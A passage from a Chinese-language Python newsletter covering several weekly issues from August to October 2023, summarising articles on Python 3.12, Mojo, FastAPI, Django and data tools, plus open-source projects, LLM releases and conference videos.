Instagram 向 Python 贡献了 3.12 版本中的 PEP-683(永生对象,使用固定的引用计数),它可以绕过引用计数检查,这是多核 Python 并行处理的重要基础。文章介绍了 Instagram 遇到的内存使用问题、为解决问题而引入永生对象、并最终贡献到 CPython 的故事。
Python 中一个文件是一个模块,拥有自己的命名空间。当使用“import *”时,这会导致“命名空间污染”!文章指出了遵循 PEP-8 风格的正确写法,同时建议应该用__all__ 来定义模块中可被导出的变量名。
pixi 是最新发布的用 Rust 编写的 Python 包管理器,这篇文章出自其官方博客,主要介绍为什么要开发这个项目、它提供了哪些功能、它的基本执行过程。项目当前基于 Conda 生态,暂不支持 PyPI。
一篇非常详细的教程,介绍了 JWT 是什么以及它的工作原理,演示了如何用 DRF 实现 JWT 身份验证的全过程。
数据库查询是影响 Web 程序性能的主要因素之一,这篇文章介绍了 7 个提升性能的技巧:设置查询语句的超时时间、使用assertNumQueries 测试查询数、使用nplusone 捕获 N+1 查询、使用django-zen-queries 捕获 N+1 查询、避免对预取对象作新的查询、使用 defer() 防止获取大的未使用字段、避免在大字段上使用 distinct()
有时候我们会在编程语言中看到一些奇怪的现象,它们可能是一些非常冷门的“特性”,也可能会让人误以为是 bug 或者因理解错误而造成 bug。作者介绍了他的几个小发现。
可汗学院使用 Python 做了 10 年的主力语言,然而在 2020 年前后彻底转向了 Go 阵营。这篇文章介绍了它为什么以及如何将 Python 2 后端整体重构成 Go 服务。文中引用了可汗学院总结性的一系列博客,可作延伸阅读。
这是一篇思考编程语言该如何设计的长文!作者指出现代编程语言存在“静态-动态双形性”问题,提出理想的编程语言应该同时具有静态和动态的特性。文章分析了 IdrisZig 两种语言的做法,并指出其局限性,最后提出应该重新思考编程语言。

🐿️项目&资源

一个基于 Conda 生态的包管理器,支持所有操作系统,支持多种语言的 Conda 包,拥有类似 Cargo 的命令行界面,完全用 Rust 编写。支持按照项目来安装包,也支持全局安装,此行为类似于 pipxcondax
支持打包成 Mac、Windows、Linux、Android 和 iPhone 的应用,以及使用了 PyScript 作客户端的静态 Web 站点。(star 2K)
上周的热门项目,仅需三张照片即可生成个人的数字分身。底层使用了 Stable Diffusion 的文生图功能,训练时可选择多种风格的 LoRA 模型,也支持添加个性化的 prompt,实现变装效果。(star 3.2K)
“模型即服务”(MaaS)汇集 AI 社区中最先进的机器学习模型,并简化在实际应用中使用 AI 模型的流程。它已有 700+ 模型,涵盖自然语言处理、计算机视觉、语音、多模态等。(star 3.6K)
不是根据体裁和书名等常规条件,而是根据提示语来搜索相关的书籍。基于双塔语义检索模型 ,使用 DuckDB 在本地训练数据,使用 Redis Search 模块作检索,通过 Flask API 和 Bootstrap 前端展示结果。
它为开源维护者搭建一个平台,可便捷地设置、运营、推广面向支持者的增值及订阅服务,帮助开发者从开源项目中获取收入。这个项目已获得 180 万美元的种子轮投资。
一个很有意思的游戏!你需要扮演操作系统,管理进程、内存和 I/O 事件,不能让进程空闲太久,不然就 game over!项目依赖 Python 3.11 和 pipenv,也可以上这个网站在线体验 。(star 1K)
这个项目从头实现一个关系型数据库,借鉴了 sqlite 数据库。关键的特性:支持丰富的 sql、使用lark 构建自定义词法分析与解析器、支持用户和代理方式连接、实现 BTree 作数据存储。
比其它多进程库更快,且功能更多:结合了 multiprocessing.Pool 使用写时复制的共享对象的优点、有丰富的状态管理功能、使用 tqdm 实现进度条、支持在仪表板查看进度,等等。(star 1.5K)
如何比对一个软件在两个版本间的差异?比较二进制软件的差异时,涉及哪些匹配技术?这个项目号称是目前最强的软件差异比对工具!(star 3.1K)
一个近实时(NRT)的纯 Python 运行时类型检查工具,将 Rust 和 C++ 的零成本对象带入动态类型的 Python 世界。它可有选择性地将 Python 的鸭子类型转换成静态类型,同时默认保留前者的优点。项目文档中称“你可以同时像鸭子一样嘎嘎叫,以及像熊一样咆哮”!(star 2K)
这个仓库收录了 200 多本计算机科学类书籍,仅限教育用途!

🐢播客&视频

这个视频出自 PyCon 2015,介绍如何写出优雅的 Python 代码。在油管上已有 8200+ 点赞。演讲者 Raymond Hettinger 参与贡献了大家熟知的很多 Python 特性,比如 enumerate() 函数、生成器表达式、OrderedDict()、条件表达式、set 对象等。
写出能用的代码不应该成为最终目标,这只是一个开始!这个视频使用了__getitem__、__len__、__enter__ 和 __exit__ 等魔术方法,将难以维护的代码重构得 Pythonic。作者自称这是对上一则分享的 8 分钟浓缩版。

第17期(2023-08-26)

🦄文章&教程

本周的重磅新闻!微软将 Python 引入到 Excel 中,支持在 Excel 中使用 Python 强大的数据分析、统计建模以及数据可视化库(pandas、statsmodels、Matplotlib 和 seaborn 等)。Guido 发推表示他参与了这个项目。
Server-Sent Events(服务器推送事件)可以让服务端一边生成内容,一边将数据返回给客户端。文章介绍了 FastAPI 如何使用 SSE 方式返回数据,并用 requests 和 aiohttp 来获取与展示接口数据。
文章使用 FastAPI、Hamilton、Streamlit 和 ChatGPT 开发了一个 PDF 文件摘要工具,介绍了项目的设计思路、架构设计与编程实现,效果图如下:
Mojo 是 LLVM 作者发布的一门新语言,完全兼容 Python 的语法。这篇文章上手体验了 Mojo 编程,对比 Python 讨论了它的一些语法、特性以及当前存在的问题。
Mojo 在生成曼德博集合时比 Python 快 35000 倍,这篇文章介绍了为什么要选用曼德博算法作衡量,以及 Mojo 语言做了哪些优化来实现高性能?(附:Mojo 所属的公司 Modular 本周宣布获得 1 亿美元融资,总融资已达到 1.3 亿美元!!)
APL 是在 1960 年代开发的一种高度符号化的编程语言,作者在学习这门语言后,反而加深了对 Python 编程的理解。作者受到触动的只是简单的一行代码,但它包含了内置函数、布尔值、数据驱动、列表推导式等 Python 优雅编程的要素。(附:从这 27 门编程语言中,也可以加深对 Python 的理解
Jupyter Notebooks 非常强大,它是如何做到的呢?这篇文章分析了 Jupyter 架构的内核以及一些有趣的实现细节,包括代码的执行工作流、代码解析执行、自动补全、代码检查、调试、虚拟输入、客户端和网关等。作者预告后续还会解析 Jupyter Server、JupyterLab、JupyterHub、Jupyter Enterprise Gateway 等项目。
Meta 开源的 linter 工具 Fixit 发布了2.0 版本,它支持自动修复问题,支持用户自定义 lint 规则。这篇文章介绍了 Meta 在使用 Flake8 时遇到的问题、为什么要开发 FIXit,以及为什么要重构出 Fixit 2 这个新版本?
一篇超级详细的全栈实战教程,涉及技术有 Flask、Jinja、Playwright、Pygments 和 Javascript,实现的是一个代码-图片生成器,也就是可以给代码片段添加样式并生成美观的图片。
周刊第 16 期分享了一篇 importlib 实现延迟加载的文章,这篇文章中的 apipkg 也能实现同样的效果,但用法稍有不同,可以对照学习。
当谈到 Python 并发时,就离不开标题的这些库。文章介绍和对比了这几个库,讨论了它们的设计与使用。那么,该使用哪个异步库呢?
作者想给 Python 提供一种标准化的依赖包锁定文件,曾在 2021 年发起了 PEP-665 ,但因为缺少对 sdist 的支持而被拒绝了。作者现在做了一些概念验证的事情,计划有 5 步,目前进展到第 3 步。(附:本月新发起的 PEP-725 – 在 pyproject.toml 中指定外部依赖项
作者看到 Go 编程时不喜欢用 ORM,因此也想尝试不用 ORM 而在 Python 中直接写 SQL。这种回归传统做法的主要问题是会混淆数据库操作与业务逻辑,但并不是不可行。
一篇很详细的基础教程,探讨了TypeError 的含义、出现的原因以及解决方法。文章非常之细致,介绍了 20 多种容易出错的场景,有些是初学者问题,但也有些是老手也易忽视的编程细节。
有很多版本管理和差异比较工具,但是能否用 Python 开发一个简单的工具实现呢?文章使用 difflib、argparse 和 HtmlDiff 分别开发了命令行工具和 HTML 网页两个版本的文件比较工具。
埃拉托斯特尼筛法是一种生成素数的算法,作者提供了一个 Python 实现,但是代码的性能和内存占用是主要的问题,因此作者做了一些优化改进,最后给出了一个有详细注释的优化版本。

🐿️项目&资源

本周最火的开源项目!Code Llama 基于 Llama 2,可免费商用,可预见不久的将来会出现大量的编程工具!目前支持的语言包括 Python、C++、Java、PHP、Typescript/Javascript、C# 和 Bash。值得一提的是,它包含一个“Code Llama – Python”专用版本,基于 100B token 微调!(star 4K)
SeamlessM4T 也是 Meta 开源的项目,旨在提供高质量的翻译,让不同语言的人通过语音和文本轻松交流。支持 101 种语言的语音输入、96 种语言的文本输入与输出、35 种语言的语音输出。(star 3.7K)
微软开源的一个 PyTorch 库,可让开发者高效地扩展 Transformers,聚焦于提升建模的能力与通用性,同时提升训练的稳定性与效率。(star 2.4K)
这个 Github 项目是一篇集合了 20 多项 FastAPI 最佳实践的长文,包括项目结构、数据校验、解耦与重用依赖、遵循 REST、文档、linter 等等话题。(star 4.5K)
yappi 是 PyCharm 默认的性能分析器之一,它是用 C 编写的,支持多线程、asyncio 和 gevent,可以显示挂机时间与实际 CPU 时间。(star 1.2K)
一个非常丰富的资料库,包含 NLP/人工智能的大量内容。(star 55.7K)
这是一个 Web 应用和 Python 包,可从 OpenStreetMap 获取数据生成漂亮的地图作品。它基于另一个有 10K star 的项目 prettymaps ,主要简化了配置、降低代码复杂性、并使用 streamlit 开发了 Web 端应用。(star 1.7K)
一个用 Python 写的 C 语言解析器,可轻松集成到需要解析 C 源代码的程序中。它最主要的用途是在 cffi 库中,用于解析 C 函数和类型的声明。(star 3K)
利用生成式 AI 来存储和检索非结构化的信息,可以理解成支持人工智能的 Obsidian。可以处理各种形式的文件如文本、图片、代码、音频和视频等,依赖于 ChatGPT、Docker、Supabase,只支持操作系统是 Ubuntu 22+。(star 21.7K)
一个中文项目。记录用户的鼠标键盘操作,通过触发按钮自动执行之前记录的操作,可设定执行的次数,可以理解为精简绿色版的按键精灵。支持 Windows、Linux 和 Mac 系统。(star 4.3K)
AutoHotkey 是一种自动化脚本语言和工具,用于在 Windows 上创建快捷键、宏和自动化任务,例如模拟按键和鼠标操作、窗口管理、剪贴板操作、自动化表单填写等。这个项目覆盖了 AutoHotkey API,使用 Python 来桥接,扩展 AutoHotkey 的能力。
这个仓库收录了很多学习资源,其中很多也是一些聚合类的项目,也就是说实际包含的项目与资料有上万之多。(star 13.2K)
一个 Python 包和命令行工具,可以处理 Web 的文本信息,并转化成各种常用格式输出。包含爬虫功能、HTML 解析、网页内容萃取等等。(star 1.9K)

🐢播客&视频

澳大利亚今年 PyCon 上的演讲视频。目前已发布 84 个视频。
以色列今年 PyCon 上的演讲视频。目前已发布 23 个视频。
SciPy Talk 是科学计算领域的年度会议,通常涵盖数据分析、机器学习、人工智能、科学可视化等话题。目前已发布 44 个视频。

🥂讨论&问题

独自一人开发,想要快速实现全栈的 SaaS 应用,支持用户身份验证、订阅、付款等业务功能,前端该如何选择呢?Reddit 上的这个帖子,或许能给你提供一些思路/方法。
2、V2EX 上三则关于 Python 后端的热门讨论
近期在 Python 节点下最热闹的三篇帖子:Python 后端该如何提升自己呢?深夜睡不着,思考为什么国内 Python Web 后端太少Python 做后端,相对于 Java 或者 go 来说,到底差在哪? 从就业的角度来看,Python 后端在国内确实偏少,不仅后端,其它领域也有一种“热度退潮”的感觉(除了 AI 相关)。Python 潮流周刊的创刊想法之一就是去欧美盗火,为国内 Python 社区注入活力。愿论坛里将来能少一些沮丧性的、要抛弃 xx 另附高枝的情绪吧。

第18期(2023-09-02)

🦄文章&教程

由系列文章组成的 Flask 学习指南,深入了解 Flask 的内部结构、核心特性和功能,涵盖主题有程序和请求上下文、Werkzeug、会话、安全(防CSRF)、测试、2.0 版本的异步等。
识别和处理 PDF 文件中的表格是件困难的事,PyMuPDF 最新版本 1.23.0 提供了从 PDF 中提取表格的功能!可以将提取内容交给 pandas 处理,可以导出 Excel 和 CSV 格式的文件。
周刊第 16 期分享了 Instagram 在 Python 3.12 引入永生对象的故事,而这里分享的文章深入剖析解释器源码,为我们回答了以下问题:为什么要引入永生对象?它对性能有什么影响?它是如何实现的(如 None 对象和小整数),如何做到兼容旧版本的接口的?
你知道 Python 中的下划线有哪些用法么?这篇文章介绍了:REPL 中的用法、作变量名的前缀和后缀时的四种用法、作为赋值“接收器”的两种用法、新 match-case 语法中的用处、用作频繁调用的函数别名、大额数字中增加可读性。
Asyncio 不仅提供了简单的Socket接口,还基于它提供了Protocol&Transport接口以及更高级的Stream接口,大大的减轻了开发者进行网络编程的心理负担。文章主要介绍了这几个接口的简单使用以及对应的原理分析。
Streamlit 是一个用于创建和部署 Web 程序的框架,广泛用于机器学习和数据科学领域。这篇教程介绍了它的安装以及常用组件的使用。
FastAPI 是一个轻量级框架,通常需要集成其它组件搭配使用。这篇文章介绍了如何将 FastAPI 与 Jinja2 模板引擎、Tailwind CSS 以及 SQLAlchemy 结合,创建出一个好用的开发脚手架。
文章介绍了 Python 堆排序/优先队列、二分查找、有序容器的相关使用,它们有更好的时间复杂度或适用场景,是比暴力搜索和暴力排序更值得采用的解决方案。
我们经常会在注册一些账号后收到一封验证邮件,只有在链接的有效期内点击它才能完成账号注册。这篇教程介绍了如何用 Django 来实现这个功能,这是一个简短而完整的练手项目。
文章介绍了Pyetho 这个库的基本使用,它主要包含了全球国家及其语言的相关信息,采用 ISO 标准。收录有 195 个国家,我查询了下,中国有 285 种语言。除了国家和语言基本信息外,其它功能包括:查询某种语言的使用人数、查询某种语言在哪些国家使用、查询某种语言的谱系家族、查询所有的语言家族,等等。
Polars 是数据分析领域的新秀,底层是用 Rust 写的,拥有超高性能。这是一篇详细的教程,内容包括:它的 DataFrame、表达式和上下文、惰性 API(LazyFrame)、与外部数据源集成、与 Numpy 和 pandas 的集成,等等。
超长文预警!文章探索了不同编程语言中常见数据结构的实现,使用简洁的动画和图表直观介绍了相关的知识。主要涉及线性数据结构,如数组、动态数组、链表、循环链表、栈、队列、哈希表、集合,等等。数据结构当然离不开算法和时间复杂度,文中也有对应介绍。

🐿️项目&资源

为 FastAPI 添加用户注册与身份验证模块,主要特性有:可扩展的用户模型、注册/登录/重置密码/邮箱验证、OAuth2 登录流程、可定制的数据库后端、支持多种身份验证,等等。(star 3.3K)
在命令行里弹钢琴是种什么体验?!安装这个库后,你就可以用鼠标和键盘来弹钢琴了。
一个比 requests 库更简单、可配置、功能丰富的库,使用 gevent 实现高性能并发,支持 HTTP/2,JSON 序列化比标准库快 10 倍,代码使用类型提示,100% 线程安全。
由浙江大学、阿里巴巴达摩院以及华院计算共同设计研发的法律大模型,以“普法共享和司法效能提升”为目标。模型基座是 Baichuan-7B,预训练的数据包括法律文书、司法案例以及法律问答数据,共 40 G。
系统化交易/量化交易是依据规则和算法进行自动化交易的策略,这个仓库收录了一系列资源:库、软件、策略、书籍、博客、论文、视频,等等。(star 1.1K)
Qwen-VL 是阿里云研发的大规模视觉语言模型,可以以图像、文本、检测框作为输入,并以文本和检测框作为输出。支持多语言、多图交错对话。评测结果显示,Qwen-VL 在多个 VL 任务上相比目前 SOTA 的 Generalist Models 都有明显优势。
查询和总结你的文档,或者与本地私有的 GPT LLM 聊天。支持大部分文档,支持 LLaMa2、Falcon、Vicuna、AutoGPTQ、LORA 等,支持 Linux、Docker、MAC 和 Windows。(star 7.2K)
Copilot 的开源替代方案,可自托管或使用云服务。支持 starcoder、starchat、llama2、wizardlm 等开源模型,支持代码补全、重构、解释、分析、优化与修复错误等功能。
dify 是 Do It For You 的简写,是一个易用的 LLMOps 平台,支持快速创建出自己的 AI 应用。核心能力:通过 Langchain 支持主流的大语言模型(包括讯飞星火、文心一言、通义千问)、可视化编排 Prompt、支持添加数据集、支持插件、支持数据标注与改进。(star 8K)
一个低代码开发框架,与 Plotly Dash、Streamlit 和 Shiny 相似,支持快速创建仪表板应用。后端使用 FastAPI,前端是一个基于 React 的 UI。

第19期(2023-09-09)

🦄文章&教程

Mojo 语言是今年发布的“高性能的 Pyhton++”,周刊第 17 期刚分享过它获得了 1 亿美元融资,这周它就发布了 Linux 版本的安装包。除了编译器功能,它还提供了一些 IDE 工具(终端 shell、VS Code 插件、Jupyter 内核),暂不支持调试,暂无 Mac 和 Windows 版本。
PEP-703 是 no-gil 项目的提案,我们曾多次介绍过。作者讨论了该 PEP 中的一些话题,例如尽量少依赖原子操作的引用计数、延迟的引用计数、gc 不再会分代、对象锁等,从中能看出 Python 社区在性能和兼容性上的权衡。
实现一个 C 语言编译器需要多少行 Python 代码?文章介绍了编译器的架构、代码解析与生成流程,尝试用 500 行代码实现了一个简易的 C 编译器。
协议缓冲区(Protocol buffer)是一种与语言无关的数据序列化格式,类似于 Python 的 pickle 格式。文章介绍了如何用 Python 创建与编译协议缓冲区文件,并与支持该协议的其它语言进行通信。
极坐标直方图(Polar Histogram)是一种用于可视化和分析数据分布的图表形式,它将数据划分为多个扇区,每个扇区的长度或面积表示该角度范围内数据的频率或数量。文章介绍了如何 Python 绘制极坐标直方图。
布隆过滤器(Bloom Filter)是一种数据结构,可用于快速判断一个元素是否存在于一个集合中,场景的使用场景:去重、缓存与快速查询、防止缓存穿透、过滤垃圾邮件等。文章介绍了它是什么、如何操作、Python 实现、如何调整布隆过滤器等。
堆(Heap)是一种重要的数据结构,常用于快速访问最值、堆排序、调度与分配任务、图算法、数据压缩与编码等。文章介绍了它的基本概念、如何用 Python 实现最大堆和最小堆、它们的区别。
容器是一种轻量级的虚拟化技术,可实现 Python 程序的高效打包与部署。Red Hat 的这篇教程介绍了如何用 Podman 来构建、运行和管理 Python 容器。
这篇文章梳理了当前 Python 包管理时比较适用的一些最佳实践,例如使用 pyproject.toml、使用 setuptools 作分发和构建工具、用 Sphinx + reStructuredText + sphinx-rtd-theme 编写文档、用 CHANGELOG 列出版本更改、使用 black 和 flake8 等。
作者使用 Airflow 作为任务调度器,上线后每隔一段时间就出现 Scheduler 内存 OOM 问题,这篇文章详细记录了问题定位分析的过程。介绍了三个工具:objgraph、pympler、tracemalloc
作者认为标准库logging 比较难用,加上在程序错误时经常会缺少必要的日志,因此开发了 flake8-logging 插件。它有 12 条规则,这篇文章介绍了 3 条:使用 logging.getLogger() 实例化记录器、在异常处理时使用 exception()、避免预先格式化日志信息。
Falcon 作为当前最大的开源大模型,有 180B 参数并且是在在 3.5 万亿 token 的 TII RefinedWeb 数据集上进行训练,是目前开源模型里最长的单波段预训练。文章介绍了它的优势以及入门使用。

🐿️项目&资源

不同于其它通用中文分词工具,它支持多领域分词、有更高的分词准确率、支持用户自训练模型、支持词性标注。准确性超过 jieba、THULAC 两个中文分词工具。(star 6.2K)
在命令行终端里制作和展示 presentation,支持标题、颜色、主题、放大、解释、快捷键等功能。
导入个人的语料库后,可以用缩写方式输入长串的内容。使用了 Autokey 来实现 Linux 的键盘快捷键。(star 1.3K)
一个使用 NLP 和 ML 构建聊天机器人的框架,轻松开发和部署 Web 应用。计划集成短信、本地集成大语言模型(Claude、Llama)。(star 1.2K)
功能丰富的 feed 阅读器,支持检索、存储和管理 Atom、RSS 和 JSON 源,支持标记文章为已读或重要、支持过滤 feed 和文章、支持全文搜索、支持统计用户活动、支持插件。
百川智能推出的新一代开源大语言模型,采用 2.6 万亿 Tokens 的高质量语料训练。在通用、法律、医疗、数学、代码和多语言翻译六个领域的中英文和多语言权威数据集上对模型进行了广泛测试。
Python 的依赖注入容器,提供了一个注册类型/接口工厂的机制,通过自动清理和运行状况检查强制获取这些类型的实例。使用依赖注入和服务定位来实现控制反转,消除大量重复的样板代码。
GPT 学术优化,特别优化论文阅读/润色/写作体验,模块化设计,支持自定义快捷按钮&函数插件,支持 Python 和 C++ 等项目剖析&自译解功能,PDF/LaTex 论文翻译&总结功能,支持并行问询多种 LLM 模型,支持 chatglm2 等本地模型。兼容文心一言, moss, llama2, rwkv, claude2, 通义千问, 书生, 讯飞星火等。(star 41K)

第20期(2023-09-16)

🦄文章&教程

文章介绍了使用标准库对 Python 作基准测试的几种方法:time、timeit、cProfile 与 profile,详细介绍了几个工具的使用方法及测试数据的解读。
作者“移情别恋”了 Hatch,开始在项目中使用它。文章介绍了他喜欢 Hatch 的一些小亮点:环境隔离、命令脚本、可替代 Tox、可选的依赖项等。(附:Python 任务自动化工具 tox 教程
TOML 是“改进的” INI 文件,是 Python 推荐的配置文件格式。文章提到,连 TOML 的作者也认为它是一种糟糕的格式!文章指出了它的问题:非常冗长、层次结构很难仅从语法推断、像 YAML 一样过于复杂、具有语法类型。
遗传算法(Genetic Algorithm)是一种受生物进化理论启发的优化算法,用于解决复杂的搜索和优化问题。文章用 Python 演示了这种算法的使用例子。
Protocol 类是 Python 3.8 版本中引入的,用于指定一个类应该实现哪些方法,与 Java 的 Interface 相似。在保持 Python 动态类型用法的情况,使用 Protocal 可以获得部分静态类型检查的效果。
Tornado 是一个高性能的 Web 框架,文章解读它的源码,主要想搞清楚:yield 暂存的状态到哪去了、重新恢复执行的“合适的时机”到底是什么、具体是怎么恢复执行的?
文章基于 PEP-101 梳理了 CPython 的发布过程,绘制出了详细的流程图并给出关键步骤的解释。
Apple 的 Vision 框架提供了一系列预训练的模型和 API,可快速在应用中添加图像分析和计算机视觉功能。PyObjC 可实现 Python 与 Objective-C 的交互。文章将它们结合,开发了一个文本处理项目。
作者使用 py-spy 定位一个 CPU 100% 占用问题,找出了罪魁祸首的正则表达式,进而探讨灾难性回溯及其解决方法,并给出了优化性能的建议写法。
一篇详细的 Django 项目教程,实现一个全栈的项目。文中有作者的教程视频。
利用 asyncio 和 SqlAlchemy 库,文章探讨了如何有效地连接和管理多个数据库,获得可扩展且具有弹性的架构。文章介绍了两种实现方法。
Fire 是谷歌开源的一个用于生成 CLI 的库,Github 25K star。这篇文章介绍了它的一般命令、组合命令、链式命令、复杂命令等用法。
文章介绍了 Python 中的一些小技巧,从初级到高级,多数与数据结构相关,在解 LeetCode 问题时很有用。
Python 代码分别在函数和全局模块中运行,哪个更快呢?为什么是在函数中更快呢?Python 代码执行的工作原理是什么?如何测试与优化 Python 函数的性能?

🐿️项目&资源

一个 Python 项目管理工具,有标准化构建系统、强大的环境管理、轻松发布到 PyPI、版本管理、响应式 CLI、比 pipenv 和 poetry 同类工具快约 2-3 倍。(star 4.4K)
可以将所有告警整合到一个管理平台中,并编排工作流以自动化执行端到端的流程。支持对接多种数据采集平台、数据库、办公软件等,可视化编排告警处理工作流。(star 2.2K)
一个神奇的网站!包含 PyPI 的各类统计数据、曲线图和饼图,例如文件总数、总大小、一些功能特性的流行趋势等等。
用于解析 YAML 的受限子集,拒绝解析丑陋的、难以阅读和不安全的 YAML 特性,有严格的标记验证和直接的类型转换,可替代 pyyaml、ruamel.yaml 和 poyo,有清晰可读的异常信息。(star 1.3K)
最新开源的一个人像换脸库,star 涨得飞快!(star 6.9K)
包含一系列的小工具,功能包含用于命令行的 py、用于 IPython 的自动导入、添加缺失的 import、删除不用的 import、格式化 import、打印一组文件的 import、重命名导入,等等。
可以提取复杂信息中的实体,生成它们的关系图谱。使用了 GPT-3.5,以及 Flask 来生成色彩友好的图例;响应式设计,可在任何设备上使用。
Textual 开发的 app 发布到网页上,也可以在浏览器中使用命令行终端。是个很有意思的项目。
一个开发框架,可打包用 Zig 编写的 Python 扩展模块,还包含一个 Pytest 插件可发现与运行 Zig 测试。集成了 Poetry,方便构建 wheel 和发布。支持缓冲区协议,可以实现零拷贝提升 Numpy 计算。
一个开源的多任务代码大语言模型项目,包含代码大模型的模型、数据、训练等。在 HumanEval Benchmarks 的 Python Pass@1 取得了 74.4% 的开源 SOTA 成绩,超过 GPT-4。

第21期(2023-09-23)

🦄文章&教程

文章使用弗洛伊德-斯坦伯格抖动算法为例,使用各种技巧来提升代码性能,实现将耗时从 2339 微秒逐步降低到 554 微秒。涉及的一些概念:指令级并行 (ILP)、分支预测、单指令多数据(SIMD)、内存层次结构等。
一篇基础的入门教程,了解如何用 Radon 来衡量 Python 的代码复杂度,即计算圈复杂度等指标,介绍了相关命令的使用。
Brett Cannon 写了一系列关于“语法糖”的博客,解析了 80 多个语法糖特性。文章基于他在 PyCon 的演讲及博客,介绍了其中的部分内容。
SymPy 是一个用于符号计算(symbolic computation)的库,可以处理代数、微积分、离散数学等领域的问题。这是一个系列文章,介绍它将迎来的重大变化。文章描述了 SymPy 当前存在的速度问题、为加速它而作的工作、将来的提速计划。(附:系列第二篇:SymPy 多项式计算
在依赖关系治理方面,import-linter 是一个非常有用的工具。它通过提供各种类型的“契约”,让我们得以将项目内隐式的复杂依赖关系,通过配置文件显式的表达出来。文章介绍了它的入门使用,以及 6 种修复依赖关系的技巧。
CPython 在处理字符串时使用了布隆过滤器,比如 splitlines()、strip() 两个函数,文章介绍了它们的实现原理。文章还介绍了典型布隆过滤器的实现原理,以及 CPython 中布隆过滤器的实现(不到 50 行 C 代码)。
介绍了uuid 库的几个方法:uuid1() 利用系统 MAC 地址与时间戳生成 uuid;uuid4() 生成完全随机的 uuid;uuid3() 和 uuid5() 基于常量命名空间和变量名生成 uuid,前者使用 MD5 算法,后者使用 SHA-1 算法。
为什么会有 Pandas、Polars、Dask 和 PySpark 等大量的 Dataframe 库?作者认为主要的原因是它的四种角色模型:电子表格、关系数据库、二维数组/矩阵、对象,以及由此衍生出的一系列问题。
Monty Hall 问题也被称为三门问题,是一道挑战人们直觉的概率问题。文章使用 Python 来模拟这个问题,看看需要多久才能赢取奖品。
文章介绍了 functools 标准库的 6 个使用场景:@cache 缓存、@total_ordering 让你少写双下方法、partial() 冻结函数、@singledispatch 泛型函数、@wraps 装饰器、reduce() 函数。
pytest.main 是 Pytest 框架中一个非常实用的函数,用于从命令行运行测试集或者以编程方式运行测试。文章探讨了它的用法和一些常见的应用场景。
介绍了 7 个不错的身份验证库:Authlib、Pyjwt、Flask-login、Django-allauth、ItsDangerous、Python Social Auth、Flask-security。(附:中文翻译

🐿️项目&资源

一个 Python 代码指标分析工具,可以计算圈复杂度、原始指标、Halstead 指标、可维护性指数,可用于 CI 集成,可与 Jupyter Notebook 一起使用。(star 1.5K)
自主语言代理(Autonomous Language Agents)指的是能够独立执行自然语言处理任务的智能代理系统。这个库支持长期短期记忆、工具使用、Web 导航、多 agent 通信、人机交互和符号控制等功能。(star 2.6K)
一个用于 Python 多进程的库,便于管理长时间运行的多进程作业。可处理进程创建和清理、信号管理、跨进程通信以及其它在处理多进程时的麻烦事。
可根据用户指定的参数生成逼真的模式和知识图谱,通过使用 DL 推理器(HermiT)来确保逻辑一致性。
这个仓库主要从多个维度比较了 toml、tomli/tomli_w、tomlkit、pytomlpp、rtoml 和 qtoml 这几个库,考察它们在处理数据时的行为表现以及性能。
提供一张图片,使用 Paint3D 分割前景对象,通过推理生成多个视角的图像。
Segment Anything(SAM)是在计算机视觉领域中对图像或视频中的任何对象进行分割的任务,以提取出具有语义或视觉特征的子区域或对象。
国人开源作品。可自动从非结构化的日志信息中提取出结构化的关键信息。(star 1.2K)
作者将 Python 版本的 llama2.py 移植成 Mojo 版本,将性能提高了近 250 倍。(star 1.1K)
一款领先的开源大模型应用开发平台,中文“毕昇”,可以搭建各类丰富的大模型应用:分析报告生成、知识库问答、对话、要素提取等。

🐢播客&视频

今年 EuroPython 活动的演讲视频。
Scalene 是一款高性能的 CPU、GPU 和内存分析器,可以从单个函数或代码行级别分析代码,并比较在 Python 和 C 代码中花费的时间。播客嘉宾是马萨诸塞大学教授,他与学校实验室的学生开发了 Scalene。

第22期(2023-10-12)

🦄文章&教程

Python 最新大版本 3.12 发布了!包含许多新功能和优化,本期周刊有几篇文章涉及相关内容。(附:Python 3.12 新功能的详细介绍
Python 子解释器是什么?3.12 版本的 PEP-684 做了什么?3.13 版本可能会出现什么变化?
介绍了 Python 的栈帧基本知识、3.12 之前对于 trace 和 perf 的实现、以及 3.12 新引入的 Linux 原生 perf 的实现。
3.12 版本带来了一些调整和改进:使用类型变量来注释泛型类和函数、类型变量的新语法、使用新的 @override 装饰器作模型继承、用类型化的字典更精确注解 **kwargs。
依赖注入是一种强大的设计模式,FastAPI 中如何利用依赖注入来构建可维护的高性能 Web 应用?涉及内容:使用依赖注入管理配置、数据库访问和 ORM 的依赖注入、高级依赖注入技巧、测试依赖注入、性能优化和缓存的依赖注入、安全性和依赖注入等。
文章介绍了闭包的使用例子和使用原理,主要从虚拟机层面讨论函数闭包是如何实现的?
pexpect 可用于交互式应用的自动化,如 ssh、ftp、passwd、telnet 等,Github star 2.4K。文章介绍了它的 expect_list 方法的使用。
介绍了 textual-plotext 库的用法,它可以在终端里用 Plotext 绘图。
BBC R&D Cloudfit 团队的系列博客文章,Asyncio 系列已更新 5 篇,内容有基础概念及模式、异步上下文管理器和异步迭代器、库支持、混合异步和同步代码。
使用 eBPF 从内存结构中读取抽象堆栈数据,实现堆栈跟踪及代码执行分析。
文章介绍了 3.12 版本中不那么引入关注的改动:pathlib 库的改进、更好的调试体验、切片对象现在是可哈希的、意外出现的 math.sumprod()、新的命令行界面。
Python 版本的发布流程是怎样的?版本构建的过程有哪些可改进的地方?文章另外介绍了用软件物料清单 (SBOM) 来跟踪软件分发的子组件以及它们在版本之间的变化。

🐿️项目&资源

一个非营利、无广告、免费的搜索引擎,专注于可用性和速度。目前仅是概念验证版本,索引的页面还比较少。(star 1K)
基于结构化数据进行企业级问答,允许设置一个 API,可用简单的英语回答问题。
一个使用语言模型 (LM) 和检索模型 (RM) 解决高级任务的框架。它统一了提示和微调 LM 的技术,以及推理、自我改进和使用检索和工具增强的方法。(star 3.5K)
一个用高级文本生成语音的库,使用 1100 中语言的预训练模型,可用于训练新模型和微调任何语言的现有模型。(star 20.3K)
用 Rust 编写的通用 Python 图形库,拥有高性能和安全性。
一个用于构建与 Apache Kafka、RabbitMQ 和 NATS 等事件流交互的异步服务框架,简化了为消息队列编写生产者和使用者的过程。
流行的异步 HTTP 框架,主要特点:支持客户端和服务端的 HTTP 协议、开箱即用的 Websocket、支持中间件和可插拔路由。(star 14K)
基于 Python 3.11 的 Web 框架,特点有面向文档的数据库 ODM、支持 Websocket、提供缓存 API、内置身份验证类、内置权限类、自定义中间件、可视化的 API 监控等。
